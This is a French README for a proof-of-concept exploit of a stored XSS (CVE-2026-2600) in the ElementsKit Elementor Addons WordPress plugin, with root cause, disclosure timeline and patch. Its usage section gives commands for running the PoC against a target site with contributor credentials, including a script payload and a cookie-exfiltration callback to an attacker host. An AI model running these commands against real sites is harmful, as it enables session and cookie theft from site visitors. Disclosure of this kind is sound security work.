
Preuve de concept d'exploitation pour CVE-2026-2600, une XSS stockée dans ElementsKit Elementor Addons <= 3.7.9, permettant aux contributeurs authentifiés d'injecter des scripts arbitraires via des données Elementor spécialement conçues.
| CVSS | 6.4 MOYEN |
| Versions concernées | <= 3.7.9 |
| Correctif | 3.8.0 |
| Rôle minimal | Contributeur (edit_posts) |
| Vecteur | Réseau / Complexité faible / Privilèges faibles |
Le widget Simple Tab affiche les titres d'onglets avec du HTML généré par echo mais sans échappement de sortie. Dans widgets/tab/tab.php, la boucle de rendu fait :
foreach ( $settings['ekit_tab_items'] as $index => $item ) {
echo '<a ...>' . $item['ekit_tab_title'] . '</a>';
}
L'éditeur d'Elementor assainit les entrées côté client, mais le point de terminaison de l'API REST (/wp-json/wp/v2/posts/{id}) accepte directement le champ méta _elementor_data et contourne entièrement cette couche.
Un Contributeur authentifié peut modifier (PATCH) un article avec une charge utile JSON Elementor conçue qui définit ekit_tab_title sur du HTML arbitraire. Comme la valeur est stockée telle quelle dans _elementor_data et générée sans esc_html() au moment du rendu, le script s'exécute dans le navigateur de chaque visiteur au chargement de la page.
Tout Contributeur peut :
Plus de 400 000 installations actives étaient concernées au moment de la divulgation.
pip install requests
python3 poc.py https://target.com contributor p4ss
Le script s'authentifie via HTTP, récupère le nonce REST depuis l'éditeur d'administration, crée un article brouillon, modifie _elementor_data avec la charge utile XSS intégrée dans le champ ekit_tab_title, puis publie l'article. La sortie confirme si la charge utile est active dans le code source de la page.
# Charge utile personnalisée
python3 poc.py https://target.com contributor p4ss --payload '<script>alert(document.domain)</script>'
# Exfiltration de cookies avec rappel
python3 poc.py https://target.com contributor p4ss --type cookie --callback https://attacker.com/steal
# Mode console interactive
python3 console_poc.py
| Date | Événement |
|---|---|
| Janvier 2026 | Découvert via une revue des différences SVN. PoC confirmé. |
| Janvier 2026 | Signalé à Patchstack Alliance avec l'article complet et le PoC. |
| Mars 2026 | Wpmet a publié le correctif dans la v3.8.0. |
| Avril 2026 | CVE-2026-2600 publiée. CVSS 6.4 MOYEN attribué. |
Wpmet a ajouté esc_html() autour de la sortie du titre d'onglet dans widgets/tab/tab.php :
- echo '<a ...>' . $item['ekit_tab_title'] . '</a>';
+ echo '<a ...>' . esc_html( $item['ekit_tab_title'] ) . '</a>';